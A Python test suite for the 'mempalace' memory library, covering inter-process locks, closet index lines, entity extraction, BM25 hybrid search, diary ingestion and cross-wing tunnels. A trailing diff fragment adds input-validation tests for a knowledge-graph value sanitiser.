create_tunnel,
delete_tunnel,
follow_tunnels,
list_tunnels,
)
from mempalace.searcher import (
_bm25_scores,
_expand_with_neighbors,
_extract_drawer_ids_from_closet,
_hybrid_rank,
search_memories,
)
# ── mine_lock ────────────────────────────────────────────────────────────
def _lock_worker(target: str, name: str, hold_seconds: float, log_path: str) -> None:
"""Worker for multiprocessing-spawn concurrency test. Writes its
critical-section enter/exit timestamps to ``log_path`` so the test
can verify the sections did not overlap in time."""
import time as _time
from mempalace.palace import mine_lock as _mine_lock
with _mine_lock(target):
t_enter = _time.time()
_time.sleep(hold_seconds)
t_exit = _time.time()
# Append atomically so concurrent writers don't stomp each other.
with open(log_path, "a") as f:
f.write(f"{name} {t_enter} {t_exit}\n")
f.flush()
class TestMineLock:
def test_lock_acquires_and_releases(self, tmp_path):
target = str(tmp_path / "lock_target.txt")
with mine_lock(target):
lock_dir = os.path.expanduser("~/.mempalace/locks")
assert os.path.isdir(lock_dir)
# Re-acquire after release should succeed instantly.
start = time.time()
with mine_lock(target):
pass
assert time.time() - start < 1.0
def test_lock_blocks_concurrent_access(self, tmp_path):
"""The lock's contract is inter-*process* (multi-agent), not
inter-thread. Use multiprocessing so the test reflects the real
use case and is portable: on macOS/BSD ``fcntl.flock`` is
per-process, so two threads would both acquire — a thread-based
test would flake there even when the lock is correct.
Verify mutual exclusion by the effect the critical section
actually has — each worker records its enter/exit timestamps
under the lock, and the test asserts the two intervals do not
overlap. This is robust to spawn-overhead timing, unlike
"second worker waited at least N seconds" which flakes when CI
spawn latency eats into the hold window.
"""
target = str(tmp_path / "concurrent_lock.txt")
log_path = str(tmp_path / "critical_section.log")
# Spawn so the same code path runs on every OS (macOS 3.8+ and
# Windows already default to spawn; Linux is fork by default).
ctx = multiprocessing.get_context("spawn")
# Each worker holds the lock for HOLD seconds. With real mutual
# exclusion, the two [enter, exit] intervals must be disjoint.
HOLD = 0.3
p1 = ctx.Process(target=_lock_worker, args=(target, "a", HOLD, log_path))
p2 = ctx.Process(target=_lock_worker, args=(target, "b", HOLD, log_path))
p1.start()
p2.start()
p1.join(timeout=30)
p2.join(timeout=30)
assert p1.exitcode == 0, f"p1 exited non-zero: {p1.exitcode}"
assert p2.exitcode == 0, f"p2 exited non-zero: {p2.exitcode}"
# Parse the log: "<name> <enter_ts> <exit_ts>".
intervals = []
with open(log_path) as f:
for line in f:
parts = line.strip().split()
if len(parts) == 3:
intervals.append((parts[0], float(parts[1]), float(parts[2])))
assert len(intervals) == 2, f"expected two critical sections, got {intervals}"
# Sort by entry time and verify the second entry is after the first exit.
intervals.sort(key=lambda iv: iv[1])
(_, enter_a, exit_a), (_, enter_b, exit_b) = intervals
assert (
enter_a < exit_a <= enter_b < exit_b
), f"critical sections overlapped — lock failed to serialize: {intervals}"
# ── build_closet_lines ─────────────────────────────────────────────────
class TestBuildClosetLines:
def test_emits_pointer_line_shape(self):
content = (
"# Auth rewrite\n\n"
"Decided we need to migrate to passkeys. "
"Built the prototype with WebAuthn. "
"Reviewed the API surface."
)
lines = build_closet_lines(
"/proj/auth.md",
["drawer_proj_backend_aaa", "drawer_proj_backend_bbb"],
content,
wing="proj",
room="backend",
)
assert lines, "should always emit at least one line"
for line in lines:
assert "→" in line, f"line missing pointer arrow: {line!r}"
parts = line.split("|")
assert len(parts) == 3, f"expected topic|entities|→refs, got {line!r}"
assert parts[2].startswith("→")
def test_extracts_section_headers_as_topics(self):
content = "# First Header\nbody\n## Second Header\nmore body"
lines = build_closet_lines("/x.md", ["d1"], content, "w", "r")
joined = "\n".join(lines).lower()
assert "first header" in joined
assert "second header" in joined
def test_entity_stoplist_filters_sentence_starters(self):
# "When", "After", "The" repeat 3+ times — old code would index them
# as entities. Stoplist drops them.
content = (
"When the pipeline ran, the result was good. "
"When the user logged in, the token was issued. "
"After the migration, the latency dropped. "
"After the rollback, the latency rose. "
"The new flow is stable. The audit cleared."
)
lines = build_closet_lines("/x.md", ["d1"], content, "w", "r")
entity_segments = [line.split("|")[1] for line in lines]
for seg in entity_segments:
tokens = set(seg.split(";")) if seg else set()
assert "When" not in tokens
assert "After" not in tokens
assert "The" not in tokens
def test_real_proper_nouns_survive_stoplist(self):
content = (
"Igor reviewed the diff. Milla wrote the spec. "
"Igor pushed the fix. Milla approved the PR. "
"Igor and Milla shipped together."
)
lines = build_closet_lines("/x.md", ["d1"], content, "w", "r")
joined_entities = ";".join(line.split("|")[1] for line in lines)
assert "Igor" in joined_entities
assert "Milla" in joined_entities
def test_emits_fallback_line_when_nothing_extractable(self):
content = "lorem ipsum dolor sit amet consectetur adipiscing elit"
lines = build_closet_lines("/x/notes.txt", ["d1"], content, "wing", "room")
assert len(lines) == 1
assert "wing/room/notes" in lines[0]
assert "→d1" in lines[0]
def test_pointer_references_first_three_drawers(self):
ids = [f"drawer_{i}" for i in range(10)]
lines = build_closet_lines("/x.md", ids, "# A\n# B", "w", "r")
assert all("→drawer_0,drawer_1,drawer_2" in line for line in lines)
# ── upsert_closet_lines ───────────────────────────────────────────────
class TestUpsertClosetLines:
def test_overwrites_existing_closet_does_not_append(self, palace_path):
col = get_closets_collection(palace_path)
base = "closet_test_room_abc"
meta = {"wing": "test", "room": "room", "source_file": "/x.md"}
upsert_closet_lines(col, base, ["alpha|;|→d1", "beta|;|→d2", "gamma|;|→d3"], meta)
first = col.get(ids=[f"{base}_01"])
assert "alpha" in first["documents"][0]
# Second mine — entirely different lines. Must replace, not append.
upsert_closet_lines(col, base, ["delta|;|→d4", "epsilon|;|→d5"], meta)
second = col.get(ids=[f"{base}_01"])
doc = second["documents"][0]
assert "delta" in doc
assert "epsilon" in doc
assert "alpha" not in doc, "old closet line leaked into rebuild"
assert "beta" not in doc
def test_packs_into_multiple_closets_without_splitting_lines(self, palace_path):
col = get_closets_collection(palace_path)
base = "closet_pack_room_def"
meta = {"wing": "test", "room": "room", "source_file": "/y.md"}
line = "x" * 600 # well under CLOSET_CHAR_LIMIT
n_written = upsert_closet_lines(col, base, [line, line, line, line], meta)
# 4 lines @ 601 chars each = 2404 — should pack into 2 closets
assert n_written == 2
for i in range(1, n_written + 1):
doc = col.get(ids=[f"{base}_{i:02d}"])["documents"][0]
for chunk in doc.split("\n"):
assert len(chunk) == 600, f"line was truncated in closet {i}"
assert len(doc) <= CLOSET_CHAR_LIMIT
# ── purge_file_closets ────────────────────────────────────────────────
class TestPurgeFileClosets:
def test_deletes_only_the_targeted_source(self, palace_path):
col = get_closets_collection(palace_path)
col.upsert(
ids=["closet_a_01", "closet_b_01"],
documents=["a|;|→d1", "b|;|→d2"],
metadatas=[
{"source_file": "/keep.md", "wing": "w", "room": "r"},
{"source_file": "/drop.md", "wing": "w", "room": "r"},
],
)
purge_file_closets(col, "/drop.md")
remaining_ids = set(col.get()["ids"])
assert "closet_a_01" in remaining_ids
assert "closet_b_01" not in remaining_ids
# ── project miner: closet rebuild end-to-end ──────────────────────────
class TestMinerClosetRebuild:
def test_remine_replaces_closets_completely(self, tmp_path):
project = tmp_path / "proj"
project.mkdir()
(project / "mempalace.yaml").write_text(
yaml.dump({"wing": "proj", "rooms": [{"name": "general", "description": "x"}]})
)
target = project / "doc.md"
# First mine — long content produces multiple numbered closets.
first_topics = "\n\n".join(f"# Topic {i}\n" + ("filler text " * 30) for i in range(15))
target.write_text(first_topics)
palace = tmp_path / "palace"
mine(str(project), str(palace), wing_override="proj", agent="test")
col = get_closets_collection(str(palace))
first_pass = col.get(where={"source_file": str(target)})
assert first_pass["ids"], "first mine should have written closets"
first_ids = set(first_pass["ids"])
assert any("topic 0" in (d or "").lower() for d in first_pass["documents"])
# Touch mtime + shrink content so the rebuild produces fewer closets.
target.write_text("# Only Topic Now\n" + ("short body " * 5))
new_mtime = os.path.getmtime(target) + 60
os.utime(target, (new_mtime, new_mtime))
time.sleep(0.01)
mine(str(project), str(palace), wing_override="proj", agent="test")
col = get_closets_collection(str(palace))
second_pass = col.get(where={"source_file": str(target)})
second_docs = "\n".join(second_pass["documents"]).lower()
assert "only topic now" in second_docs
for i in range(15):
assert (
f"topic {i}\n" not in second_docs
), f"stale 'Topic {i}' from first mine survived the rebuild"
# Numbered closets that existed only in the larger first run must be gone.
leftover = first_ids - set(second_pass["ids"])
for stale_id in leftover:
assert not col.get(ids=[stale_id])[
"ids"
], f"orphan closet {stale_id} from larger first run survived purge"
# ── _extract_drawer_ids_from_closet ───────────────────────────────────
class TestExtractDrawerIds:
def test_parses_single_pointer(self):
assert _extract_drawer_ids_from_closet("topic|;|→drawer_x") == ["drawer_x"]
def test_parses_multiple_pointers_per_line(self):
line = "topic|ent|→drawer_a,drawer_b,drawer_c"
assert _extract_drawer_ids_from_closet(line) == ["drawer_a", "drawer_b", "drawer_c"]
def test_dedupes_across_lines(self):
doc = "one|;|→drawer_a,drawer_b\ntwo|;|→drawer_b,drawer_c"
assert _extract_drawer_ids_from_closet(doc) == ["drawer_a", "drawer_b", "drawer_c"]
def test_empty_doc_returns_empty(self):
assert _extract_drawer_ids_from_closet("") == []
assert _extract_drawer_ids_from_closet("no arrows here") == []
# ── search_memories closet-first path ────────────────────────────────
class TestSearchMemoriesHybrid:
def test_pure_drawer_when_no_closets(self, palace_path, seeded_collection):
"""Palaces without closets return results via direct drawer search —
every hit must advertise that the closet signal was absent."""
result = search_memories("JWT authentication", palace_path)
assert result["results"], "should still find drawer hits"
for hit in result["results"]:
assert hit.get("matched_via") == "drawer"
assert hit.get("closet_boost") == 0.0
assert "closet_preview" not in hit
def test_closet_boost_marks_hit_as_drawer_plus_closet(self, palace_path, seeded_collection):
"""When a closet agrees with direct search on source_file, the
matching drawer's ``matched_via`` switches to ``drawer+closet`` and
``closet_preview`` exposes the hydrated index line."""
closets = get_closets_collection(palace_path)
# Seed the closet against the same source_file the drawer uses so
# the boost lookup keys align.
closets.upsert(
ids=["closet_proj_backend_aaa_01"],
documents=["JWT auth tokens|;|→drawer_proj_backend_aaa"],
metadatas=[{"wing": "project", "room": "backend", "source_file": "auth.py"}],
)
result = search_memories("JWT authentication", palace_path)
assert result["results"], "hybrid search should still return results"
# The JWT-bearing drawer should surface with closet agreement.
boosted = [h for h in result["results"] if h["matched_via"] == "drawer+closet"]
assert boosted, "closet agreement should promote the matching source"
top = boosted[0]
assert "JWT" in top["text"]
assert top["closet_boost"] > 0
assert "→drawer_proj_backend_aaa" in top["closet_preview"]
def test_max_distance_filters_hybrid_hits(self, palace_path, seeded_collection):
closets = get_closets_collection(palace_path)
closets.upsert(
ids=["closet_proj_backend_aaa_01"],
documents=["JWT auth tokens|;|→drawer_proj_backend_aaa"],
metadatas=[{"wing": "project", "room": "backend", "source_file": "auth.py"}],
)
result = search_memories(
"completely unrelated query about quantum gardening",
palace_path,
max_distance=0.001,
)
for hit in result["results"]:
assert hit["distance"] <= 0.001
# ── entity metadata ──────────────────────────────────────────────────
class TestEntityMetadata:
def test_extracts_capitalized_names(self):
text = "Ben reviewed the code. Ben approved it. Igor flagged two issues. Igor fixed them."
entities = _extract_entities_for_metadata(text)
assert "Ben" in entities
assert "Igor" in entities
def test_empty_for_no_entities(self):
text = "this is all lowercase with no proper nouns at all"
assert _extract_entities_for_metadata(text) == ""
def test_semicolon_separated(self):
text = "Alice and Bob met Charlie. Alice said hello. Bob agreed. Charlie laughed."
entities = _extract_entities_for_metadata(text)
assert ";" in entities
def test_stoplist_filters_sentence_starters(self):
# Same regression as the closet entity test — "When/After/The" must
# not become entities just because they're capitalized 2+ times.
text = (
"When the build broke, the team paged. "
"When the fix landed, the alarm cleared. "
"After the rollback, the queue drained. "
"After the deploy, the latency normalized."
)
entities = _extract_entities_for_metadata(text)
tokens = set(entities.split(";")) if entities else set()
assert "When" not in tokens
assert "After" not in tokens
assert "The" not in tokens
def test_capped_list_never_truncates_a_name(self):
# 30 distinct repeated proper nouns — extraction should cap the list
# before joining so a name never gets cut in half.
# Use morphologically distinct stems so the [A-Z][a-z]+ regex sees
# each as its own token.
names = [
"Anna",
"Brian",
"Carol",
"David",
"Elena",
"Frank",
"Grace",
"Harold",
"Iris",
"Julian",
"Kira",
"Liam",
"Maya",
"Noah",
"Oscar",
"Penny",
"Quinn",
"Rosa",
"Sergei",
"Tara",
"Umar",
"Vera",
"Walter",
"Xander",
"Yvonne",
"Zachary",
"Amelia",
"Boris",
"Clara",
"Dmitri",
]
text = " ".join(f"{n} met {n}." for n in names)
entities = _extract_entities_for_metadata(text)
extracted = [n for n in entities.split(";") if n]
assert extracted, "should have extracted some entities"
for name in extracted:
assert name in names, f"truncation produced a partial token: {name!r}"
def test_known_registry_is_cached_by_mtime(self, monkeypatch, tmp_path):
# Point the registry at a temp file we control, exercise the cache.
registry = tmp_path / "known_entities.json"
registry.write_text(json.dumps({"people": ["Zelda"]}))
from mempalace import miner
monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
miner._ENTITY_REGISTRY_CACHE["mtime"] = None
miner._ENTITY_REGISTRY_CACHE["names"] = frozenset()
first = _load_known_entities()
assert "Zelda" in first
# Second call without changing mtime: must reuse cache, not re-read.
read_count = {"n": 0}
original_open = open
def counting_open(path, *a, **kw):
if str(path) == str(registry):
read_count["n"] += 1
return original_open(path, *a, **kw)
monkeypatch.setattr("builtins.open", counting_open)
_load_known_entities()
assert read_count["n"] == 0, "registry should not be re-read when mtime unchanged"
# Bump mtime → cache must invalidate.
new_mtime = os.path.getmtime(registry) + 5
os.utime(registry, (new_mtime, new_mtime))
registry.write_text(json.dumps({"people": ["Zelda", "Link"]}))
os.utime(registry, (new_mtime, new_mtime))
names = _load_known_entities()
assert "Link" in names
# ── BM25 hybrid search (real IDF over candidate corpus) ──────────────
class TestBM25:
def test_scores_positive_for_matching_doc(self):
scores = _bm25_scores(
"database migration",
["We migrated the database to Postgres.", "unrelated cookery tips"],
)
assert scores[0] > 0
assert scores[1] == 0.0
def test_scores_zero_when_no_overlap(self):
scores = _bm25_scores("quantum physics", ["We built a web app in React"])
assert scores == [0.0]
def test_idf_downweights_terms_present_in_every_doc(self):
# "database" appears in every candidate → low IDF → low contribution.
# "vacuum" is unique to one → high IDF → that doc dominates.
scores = _bm25_scores(
"database vacuum",
[
"database backup nightly schedule",
"database vacuum scheduled weekly",
"database failover plan",
],
)
assert scores[1] == max(scores), "doc with the rare query term should win on IDF"
def test_empty_inputs_return_zeros(self):
assert _bm25_scores("", ["hello world"]) == [0.0]
assert _bm25_scores("query here", []) == []
assert _bm25_scores("query", [""]) == [0.0]
def test_hybrid_rank_promotes_keyword_match(self):
results = [
{"text": "database schema design for Postgres", "distance": 0.5},
{"text": "unrelated topic about cooking", "distance": 0.3},
]
ranked = _hybrid_rank(results, "database Postgres schema")
# The keyword-rich result outranks the closer-vector but irrelevant one.
assert "database" in ranked[0]["text"]
# bm25_score field is exposed for debugging.
assert "bm25_score" in ranked[0]
# No internal scoring leak.
assert "_hybrid_score" not in ranked[0]
def test_hybrid_rank_absolute_normalization(self):
# Adding a much-worse result to the candidate set must NOT reshuffle
# the top two — proves we're using absolute (1 - dist) and not
# dist / max_dist normalization.
base = [
{"text": "alpha alpha alpha", "distance": 0.1},
{"text": "beta beta beta", "distance": 0.4},
]
ranked_short = _hybrid_rank([dict(r) for r in base], "alpha")
with_outlier = base + [{"text": "gamma gamma gamma", "distance": 1.9}]
ranked_long = _hybrid_rank([dict(r) for r in with_outlier], "alpha")
assert ranked_short[0]["text"] == ranked_long[0]["text"]
assert ranked_short[1]["text"] == ranked_long[1]["text"]
# ── diary ingest ─────────────────────────────────────────────────────
class TestDiaryIngest:
def test_ingest_creates_drawers_and_closets(self, tmp_path):
diary_dir = tmp_path / "diaries"
diary_dir.mkdir()
(diary_dir / "2026-04-13.md").write_text(
"# 2026-04-13\n\n## 10:00 PDT — Test\n\nBuilt the auth system.\n"
)
palace_dir = tmp_path / "palace"
from mempalace.diary_ingest import ingest_diaries
result = ingest_diaries(str(diary_dir), str(palace_dir), force=True)
assert result["days_updated"] >= 1
assert get_collection(str(palace_dir)).count() >= 1
def test_ingest_skips_unchanged_on_second_run(self, tmp_path):
diary_dir = tmp_path / "diaries"
diary_dir.mkdir()
(diary_dir / "2026-04-13.md").write_text(
"# 2026-04-13\n\n## 10:00 — Test\n\nContent here that's long enough.\n"
)
palace_dir = tmp_path / "palace"
from mempalace.diary_ingest import ingest_diaries
ingest_diaries(str(diary_dir), str(palace_dir), force=True)
result = ingest_diaries(str(diary_dir), str(palace_dir))
assert result["days_updated"] == 0
def test_state_file_lives_outside_diary_dir(self, tmp_path):
# Regression: the original implementation wrote
# ``.diary_ingest_state.json`` *inside* the user's diary directory,
# polluting their content folder. State must live under
# ``~/.mempalace/state/`` instead.
diary_dir = tmp_path / "diaries"
diary_dir.mkdir()
(diary_dir / "2026-04-13.md").write_text(
"# 2026-04-13\n\n## 10:00 — Test\n\nBody content here long enough.\n"
)
palace_dir = tmp_path / "palace"
from mempalace.diary_ingest import _state_file_for, ingest_diaries
ingest_diaries(str(diary_dir), str(palace_dir), force=True)
# No state file inside the user's diary dir.
for entry in diary_dir.iterdir():
assert (
"diary_ingest" not in entry.name
), f"state file leaked into user diary dir: {entry}"
# State file does exist under ~/.mempalace/state/.
state_path = _state_file_for(str(palace_dir), diary_dir.resolve())
assert state_path.exists()
# Platform-neutral path check: compare parents rather than a hardcoded
# separator string that would fail on Windows (``\.mempalace\state\``).
assert state_path.parent.name == "state"
assert state_path.parent.parent.name == ".mempalace"
def test_wing_prefixed_drawer_id_prevents_cross_diary_collision(self, tmp_path):
# Regression: the original implementation used
# ``drawer_diary_{date_str}`` regardless of wing — two diaries with
# the same date in different wings would clobber each other.
date_md = "# 2026-04-13\n\n## 10:00 — entry\n\nThis is the day's content.\n"
# Two separate diary dirs, ingested into the same palace under
# different wings. Each must produce a distinct drawer.
personal_dir = tmp_path / "personal"
personal_dir.mkdir()
(personal_dir / "2026-04-13.md").write_text(date_md + "Personal-only marker.\n")
work_dir = tmp_path / "work"
work_dir.mkdir()
(work_dir / "2026-04-13.md").write_text(date_md + "Work-only marker.\n")
palace_dir = tmp_path / "palace"
from mempalace.diary_ingest import _diary_drawer_id, ingest_diaries
ingest_diaries(str(personal_dir), str(palace_dir), wing="personal", force=True)
ingest_diaries(str(work_dir), str(palace_dir), wing="work", force=True)
col = get_collection(str(palace_dir))
personal_id = _diary_drawer_id("personal", "2026-04-13")
work_id = _diary_drawer_id("work", "2026-04-13")
assert personal_id != work_id
personal = col.get(ids=[personal_id])
work = col.get(ids=[work_id])
assert personal["ids"] == [personal_id]
assert work["ids"] == [work_id]
assert "Personal-only marker." in personal["documents"][0]
assert "Work-only marker." in work["documents"][0]
# ── cross-wing tunnels ───────────────────────────────────────────────
class TestTunnels:
"""Tunnels are explicit cross-wing connections stored in
``~/.mempalace/tunnels.json``. Each test points the module-level
``_TUNNEL_FILE`` at a fresh tmp file so tests don't cross-contaminate
or touch the user's real tunnels."""
def setup_method(self):
import mempalace.palace_graph as pg
self._orig = pg._TUNNEL_FILE
self._tmpdir = tempfile.mkdtemp()
pg._TUNNEL_FILE = os.path.join(self._tmpdir, "tunnels.json")
def teardown_method(self):
import mempalace.palace_graph as pg
pg._TUNNEL_FILE = self._orig
import shutil
shutil.rmtree(self._tmpdir, ignore_errors=True)
def test_create_tunnel(self):
t = create_tunnel("wing_api", "auth", "wing_db", "users", label="auth uses users table")
assert t["id"]
assert t["source"]["wing"] == "wing_api"
assert t["source"]["room"] == "auth"
assert t["target"]["wing"] == "wing_db"
assert t["target"]["room"] == "users"
assert t["label"] == "auth uses users table"
def test_list_tunnels_with_and_without_filter(self):
create_tunnel("wing_a", "room1", "wing_b", "room2")
create_tunnel("wing_a", "room3", "wing_c", "room4")
assert len(list_tunnels()) == 2
# Filtering by a wing that appears on either endpoint.
assert len(list_tunnels("wing_a")) == 2
assert len(list_tunnels("wing_c")) == 1
assert len(list_tunnels("wing_nonexistent")) == 0
def test_delete_tunnel(self):
t = create_tunnel("wing_x", "r1", "wing_y", "r2")
delete_tunnel(t["id"])
assert list_tunnels() == []
def test_dedup_same_endpoints_updates_label(self):
create_tunnel("wing_a", "r1", "wing_b", "r2", label="first")
create_tunnel("wing_a", "r1", "wing_b", "r2", label="updated")
tunnels = list_tunnels()
assert len(tunnels) == 1
assert tunnels[0]["label"] == "updated"
def test_follow_tunnels_returns_connected_endpoints(self):
create_tunnel("wing_api", "auth", "wing_db", "users")
create_tunnel("wing_api", "auth", "wing_frontend", "login")
# Unrelated tunnel that must not surface.
create_tunnel("wing_other", "notes", "wing_misc", "scratch")
connections = follow_tunnels("wing_api", "auth")
assert len(connections) == 2
wings = {c["connected_wing"] for c in connections}
assert wings == {"wing_db", "wing_frontend"}
# ── regression: symmetry, durability, validation, concurrency ─────
def test_tunnel_is_symmetric(self):
"""Regression: tunnels are undirected. create(A, B) and create(B, A)
must resolve to the same canonical ID and dedupe into one record —
the second call updates the label instead of creating a dupe."""
first = create_tunnel("wing_a", "r1", "wing_b", "r2", label="forward")
second = create_tunnel("wing_b", "r2", "wing_a", "r1", label="reversed")
assert first["id"] == second["id"]
assert len(list_tunnels()) == 1
assert list_tunnels()[0]["label"] == "reversed"
def test_follow_tunnels_works_from_either_endpoint(self):
"""Symmetric: you can follow_tunnels from either end of the link."""
create_tunnel("wing_api", "auth", "wing_db", "users", label="auth uses users")
from_source = follow_tunnels("wing_api", "auth")
from_target = follow_tunnels("wing_db", "users")
assert len(from_source) == 1
assert len(from_target) == 1
assert from_source[0]["connected_wing"] == "wing_db"
assert from_target[0]["connected_wing"] == "wing_api"
# Both surfaces should carry the same label.
assert from_source[0]["label"] == "auth uses users"
assert from_target[0]["label"] == "auth uses users"
def test_empty_endpoint_fields_rejected(self):
"""Regression: create_tunnel must reject empty strings on any
endpoint field so the JSON store can't grow phantom tunnels."""
import pytest
for args in [
("", "r1", "wing", "r2"),
("wing", "", "wing", "r2"),
("wing", "r1", "", "r2"),
("wing", "r1", "wing", ""),
(" ", "r1", "wing", "r2"), # whitespace-only also rejected
]:
with pytest.raises(ValueError):
create_tunnel(*args)
def test_corrupt_tunnel_file_does_not_lose_new_writes(self):
"""A truncated/corrupt tunnels.json (crash mid-write on a system
without atomic rename) must not leak into subsequent reads — the
file should be treated as empty and a fresh create_tunnel should
persist cleanly."""
import mempalace.palace_graph as pg
# Simulate a crash that left a truncated file behind.
with open(pg._TUNNEL_FILE, "w") as f:
f.write("{not valid json")
# Load should return [] rather than raising.
assert list_tunnels() == []
# A subsequent create must persist (atomic write replaces the corrupt file).
t = create_tunnel("wing_a", "r1", "wing_b", "r2")
assert list_tunnels() == [t]
def test_atomic_write_leaves_no_stray_tmp_file(self):
"""Regression: _save_tunnels uses write-then-os.replace. After a
successful create, there must be no leftover ``tunnels.json.tmp``."""
import mempalace.palace_graph as pg
create_tunnel("wing_a", "r1", "wing_b", "r2")
assert os.path.exists(pg._TUNNEL_FILE)
assert not os.path.exists(pg._TUNNEL_FILE + ".tmp")
def test_concurrent_creates_preserve_all_tunnels(self):
"""Regression: two concurrent create_tunnel calls must not clobber
each other. Without the mine_lock around load+save, the later
writer's snapshot would overwrite the earlier writer's tunnel."""
barrier = threading.Barrier(5)
errors: list = []
def worker(i):
try:
barrier.wait(timeout=2)
create_tunnel(f"wing_{i}", "r", "wing_shared", "hub")
except Exception as e:
errors.append(e)
threads = [threading.Thread(target=worker, args=(i,)) for i in range(5)]
for t in threads:
t.start()
for t in threads:
t.join()
assert not errors, f"worker raised: {errors}"
tunnels = list_tunnels()
assert len(tunnels) == 5, (
f"expected 5 concurrent tunnels, got {len(tunnels)} — " "write race dropped some"
)
def test_created_at_is_timezone_aware(self):
"""Regression: created_at must be tz-aware UTC, not naive."""
t = create_tunnel("wing_a", "r1", "wing_b", "r2")
# ISO format with tz offset contains '+' or 'Z'.
assert t["created_at"].endswith("+00:00") or t["created_at"].endswith("Z")
# ── drawer-grep neighbor expansion ────────────────────────────────────
#
# When a closet hit lands on a drawer whose chunk boundary clips a thought
# (matched chunk says "here's a breakdown:" and the breakdown lives in the
# next chunk), the closet path now expands to ±1 neighbor chunks from the
# same source file. These tests pin that behavior end-to-end and at the
# helper level.
class TestDrawerGrepExpansion:
def _seed_source_file(self, palace_path, source: str, n_chunks: int):
"""Helper: put N sequential drawers for a single source file into
the palace and return the drawer IDs keyed by chunk_index."""
col = get_collection(palace_path)
ids = [f"drawer_test_room_{source.replace('/', '_')}_{i:03d}" for i in range(n_chunks)]
docs = [f"chunk_{i} content about topic alpha" for i in range(n_chunks)]
metas = [
{
"wing": "test",
"room": "room",
"source_file": source,
"chunk_index": i,
"filed_at": "2026-04-13T00:00:00",
}
for i in range(n_chunks)
]
col.upsert(ids=ids, documents=docs, metadatas=metas)
return col, {i: ids[i] for i in range(n_chunks)}
def test_expand_returns_matched_plus_neighbors(self, palace_path):
col, by_idx = self._seed_source_file(palace_path, "/proj/doc.md", n_chunks=5)
matched_meta = {"source_file": "/proj/doc.md", "chunk_index": 2}
matched_doc = "chunk_2 content about topic alpha"
out = _expand_with_neighbors(col, matched_doc, matched_meta, radius=1)
assert out["drawer_index"] == 2
assert out["total_drawers"] == 5
# Expect chunks 1, 2, 3 joined in chunk_index order.
text = out["text"]
assert "chunk_1" in text
assert "chunk_2" in text
assert "chunk_3" in text
# No leakage of non-neighbors.
assert "chunk_0" not in text
assert "chunk_4" not in text
# Ordering preserved — chunk_1 before chunk_2 before chunk_3.
assert text.index("chunk_1") < text.index("chunk_2") < text.index("chunk_3")
def test_expand_at_start_of_file_only_has_next_neighbor(self, palace_path):
col, _ = self._seed_source_file(palace_path, "/proj/edge_start.md", n_chunks=3)
out = _expand_with_neighbors(
col,
"chunk_0 content",
{"source_file": "/proj/edge_start.md", "chunk_index": 0},
)
assert out["drawer_index"] == 0
assert out["total_drawers"] == 3
assert "chunk_0" in out["text"]
assert "chunk_1" in out["text"]
# No chunk_-1 could exist; the expansion must not invent one.
assert "chunk_-1" not in out["text"]
def test_expand_at_end_of_file_only_has_prev_neighbor(self, palace_path):
col, _ = self._seed_source_file(palace_path, "/proj/edge_end.md", n_chunks=3)
out = _expand_with_neighbors(
col,
"chunk_2 content",
{"source_file": "/proj/edge_end.md", "chunk_index": 2},
)
assert out["drawer_index"] == 2
assert out["total_drawers"] == 3
assert "chunk_1" in out["text"]
assert "chunk_2" in out["text"]
# No chunk_3 exists.
assert "chunk_3" not in out["text"]
def test_expand_single_drawer_file_returns_just_matched(self, palace_path):
col, _ = self._seed_source_file(palace_path, "/proj/lone.md", n_chunks=1)
out = _expand_with_neighbors(
col,
"chunk_0 content",
{"source_file": "/proj/lone.md", "chunk_index": 0},
)
assert out["drawer_index"] == 0
assert out["total_drawers"] == 1
assert out["text"] == "chunk_0 content about topic alpha"
def test_expand_falls_back_when_metadata_missing(self, palace_path):
col = get_collection(palace_path)
# No source_file / chunk_index in meta — degrade gracefully.
out = _expand_with_neighbors(col, "matched doc", {})
assert out["text"] == "matched doc"
assert out["drawer_index"] is None
assert out["total_drawers"] is None
def test_hybrid_search_enrichment_populates_drawer_index_and_total(self, palace_path):
"""End-to-end: when a closet boosts a source with many drawers, the
enrichment step runs drawer-grep across all chunks of that source
and exposes drawer_index + total_drawers on the hit (so the client
knows which chunk was expanded around)."""
col = get_collection(palace_path)
source = "/proj/indexed.md"
# Seed 5 drawers for one source file.
for i in range(5):
col.upsert(
ids=[f"drawer_proj_backend_indexed_{i:03d}"],
documents=[f"chunk_{i} talks about JWT authentication flow"],
metadatas=[
{
"wing": "project",
"room": "backend",
"source_file": source,
"chunk_index": i,
"filed_at": "2026-04-13T00:00:00",
}
],
)
# Closet pointing at chunk_2 for this source.
closets = get_closets_collection(palace_path)
closets.upsert(
ids=["closet_proj_backend_indexed_01"],
documents=["JWT auth|;|→drawer_proj_backend_indexed_002"],
metadatas=[{"wing": "project", "room": "backend", "source_file": source}],
)
result = search_memories("JWT authentication", palace_path)
assert result["results"]
# The hybrid path promotes the closet-agreeing source to drawer+closet.
boosted = [h for h in result["results"] if h["matched_via"] == "drawer+closet"]
assert boosted, "hybrid search should mark the closet-agreeing source"
top = boosted[0]
assert top["total_drawers"] == 5
assert isinstance(top["drawer_index"], int)
# Enriched text must include the grep-best chunk plus one neighbor
# on each side (chunk boundary may clip).
assert "chunk_" in top["text"]
+52 -1
View File
@@ -3,7 +3,7 @@ import json
import tempfile
import pytest
from mempalace.config import MempalaceConfig, sanitize_name
from mempalace.config import MempalaceConfig, sanitize_kg_value, sanitize_name
def test_default_config():
@@ -66,3 +66,54 @@ def test_sanitize_name_rejects_path_traversal():
def test_sanitize_name_rejects_empty():
with pytest.raises(ValueError):
sanitize_name("")
# --- sanitize_kg_value ---
def test_kg_value_accepts_commas():
assert sanitize_kg_value("Alice, Bob, and Carol") == "Alice, Bob, and Carol"
def test_kg_value_accepts_colons():
assert sanitize_kg_value("role: engineer") == "role: engineer"
def test_kg_value_accepts_parentheses():
assert sanitize_kg_value("Python (programming)") == "Python (programming)"
def test_kg_value_accepts_slashes():
assert sanitize_kg_value("owner/repo") == "owner/repo"
def test_kg_value_accepts_hash():
assert sanitize_kg_value("issue #123") == "issue #123"
def test_kg_value_accepts_unicode():
assert sanitize_kg_value("Jānis Bērziņš") == "Jānis Bērziņš"
def test_kg_value_strips_whitespace():
assert sanitize_kg_value(" hello ") == "hello"
def test_kg_value_rejects_empty():
with pytest.raises(ValueError):
sanitize_kg_value("")
def test_kg_value_rejects_whitespace_only():
with pytest.raises(ValueError):
sanitize_kg_value(" ")
def test_kg_value_rejects_null_bytes():
with pytest.raises(ValueError):
sanitize_kg_value("hello\x00world")
def test_kg_value_rejects_over_length():
with pytest.raises(ValueError):
sanitize_kg_value("a" * 129)
+83
View File
